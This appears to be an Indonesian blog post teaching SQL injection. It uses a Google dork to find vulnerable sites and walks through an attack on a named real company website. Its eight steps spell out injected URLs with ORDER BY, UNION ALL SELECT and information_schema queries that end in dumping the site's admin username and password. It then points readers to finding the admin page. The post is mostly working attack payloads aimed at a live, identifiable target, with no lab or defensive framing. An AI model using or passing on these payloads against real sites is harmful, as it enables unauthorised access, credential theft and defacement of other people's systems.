![]() |
SQL INJECTION |
Senjata yang paling sering di gunakan dalam mengeksploitasi
pun yang paling sering adalah Google Dork. Google
dork adalah kata kunci dalam mempermudah pencarian data, kata kunci inilah
yang membantu user dalam mencari data yang akurat maupun data data yang
tersembunyi seperti log, username maupun password.
Sebagaimana yang telah kita ketahui, sudah banyak sekali situs-situs diretas oleh hacker / cracker dengan menggunakan teknik SQL Injection. SQL Injection adalah sebuah teknik hacking dengan memanfaatkan sebuah celah keamanan yang terjadi dalam lapisan basis data dari suatu aplikasi / website. Celah ini terjadi ketika masukan dari pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat
dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah
sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang
dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip
diimbuhkan di dalam bahasa yang lain.
SQL injection adalah suatu jenis aksi hacking pada keamanan data di mana
seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem.
1.
Langkah – langkah
Sebelum
mendaface sebuah situs, kita bisa menggunakan dork sql
injection dengan bantuan om kita
semua ( om google )
Langkah
1 : ketikkan
perintah berikut di google.
inurl:"product.php?id="
& intext:"You have an error in your SQL syntax"
Kemudian pilih
salah satu website yang akan di hack :
http://www.geic.co.id/detailproduct.php?id=75
Langkah 2: untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
You have an error
in your SQL syntax; check the manual
that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Langkah
3: Untuk mencari
column gunakan perintah [order by]
dimulai
dengan angka 1, selanjutnya 2, dst sampai muncul pesan error pada target kita
kali ini, error muncul pada angka 19.
http://www.geic.co.id/detailproduct.php?id=75 order by 19--
muncul
pesan error: Unknown column '19' in 'order clause' jadi angka yang diambil
adalah 19-1 = 18 (jumlah column adalah 18)
Langkah
4: mencari
"angka ajaib" dimana kita bisa melakukan injection
dengan perintah "union all
select".
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18 --
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75
akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18 --
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75
akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3
Langkah 5 : Mencari versi Database
MySql-nya dengan perintah [version()] atau [@@version] pada angka 3.
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
sehingga
muncul tulisan :
5.0.90-community
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat pada database MySql versi 4.
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat pada database MySql versi 4.
Langkah
6 : mencari
tablenya dgn perintah
"group_concat(table_name)" pada salah satu angka ajaib dan "from information_schema.tables where table_schema=database()--"
di
belakang angka 18.
belakang angka 18.
1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
from
information_schema.tables
where table_schema=database()--
Akan muncul nama-nama table : login,tbanner,tcatprod,tproduct,tset.
Selanjutnya kita
cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
kali ini kita ambil table "login"
sebelumnya kita
convert kata login ke bilangan HEXA agar dapat dibaca oleh Sql di sini :
Hasil:
ketik : login
ketik : login
pilih ASCII to Hex
hasilnya :
6c6f67696e
Langkah
7: Menambahkan
perintah "group_concat(column_name)"
pada angka ajaib 3 dan
"from information_schema.columns where table_name=0xHEXA--" di akhir URL.
"from information_schema.columns where table_name=0xHEXA--" di akhir URL.
ganti HEXA dengan
hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x
didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa.
ke hexa.
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
from
information_schema.columns
where table_name=0x6c6f67696e--
Hasilnya akan muncul column : user,pass
untuk melihat isi
dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3
dan from NAMATABLE-- pada akhir URL
Langkah 8: ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua (:) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama
"login".
Contoh:
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from login--
http://www.geic.co.id/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from login--
hasil:admin:admin
jadi,user=admin, password=admin.
Selanjutnya
mencari halaman admin dengan menggunakan admin finder. Klo ada yg dapat admin
pagenya tolong jangan di deface, supaya web ini bisa digunakan kembali.
Silahkan download versi wordnya : DISINI
1 comments:
Tutorial yang lengkap :)
Post a Comment